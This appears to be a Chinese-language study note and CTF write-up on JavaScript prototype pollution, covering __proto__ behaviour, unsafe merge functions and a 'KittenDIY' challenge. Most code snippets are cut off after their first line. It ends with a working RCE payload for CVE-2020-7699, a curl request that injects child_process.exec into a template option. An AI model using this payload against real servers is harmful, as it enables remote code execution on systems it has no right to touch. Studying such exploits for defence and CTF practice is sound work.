原型链污染
type first
1 | linux: |
- refer:https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html
- refer:https://blog.codesec.work/f0ee9a055ee1/
what is it??
原型链污染的概念是什么?
在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染。
- code
1 | function Foo() { |
我们可以认为原型prototype是类Foo的一个属性,而所有用Foo类实例化的对象,都将拥有这个属性中的所有内容,包括变量和方法。
我们可以通过Foo.prototype来访问Foo类的原型,但Foo实例化出来的对象,是不能通过prototype访问原型的。
一个Foo类实例化出来的foo对象,可以通过foo.__proto__属性来访问Foo类的原型
简而言之:用 prototype 无法直接访问,需要使用 __proto__ 访问。prototype 是一个指针属性。
1 | foo.__proto__ == Foo.prototype |
__proto__:指向原型对象的构造器。constructor:指向当前对象的构造器。


原型链污染是什么?
foo.__proto__指向的是Foo类的prototype。那么,如果我们修改了foo.__proto__中的值,就可以修改Foo类
1 | // foo是一个简单的JavaScript对象 |
哪些情况下原型链会被污染
哪些情况下我们可以设置__proto__的值呢?其实找找能够控制数组(对象)的“键名”的操作即可
1 | function merge(target, source) { |
在合并的过程中,存在赋值的操作target[key] = source[key],那么,这个key如果是__proto__,是不是就可以原型链污染
1 | let o1 = {} |
JSON解析的情况下,__proto__会被认为是一个真正的“键名”
example KittenDIY 150pt

code
1 | //...... |
test
1 | curl -H 'Content-Type: application/json' http://localhost:3000/diy -d '{"fakename":"asd"}' |
由于出题人太懒post没写回显所以post没反应很正常,自己切回主页就能看到效果
bypass
1 | console.log(kitten.__proto__ == kitten.constructor.prototype) |
payload here push
1 | "path": "/" + property |

- CVE-2020-7699 https://www.freebuf.com/vuls/246029.html
rce payload
1 | curl -H 'Content-Type: application/json' http://localhost:3000/diy -d "{\"constructor/prototype/outputFunctionName\":\"_tmp1;global.process.mainModule.require('child_process').exec('curl 127.0.0.1:11333');var __tmp2\"}" |
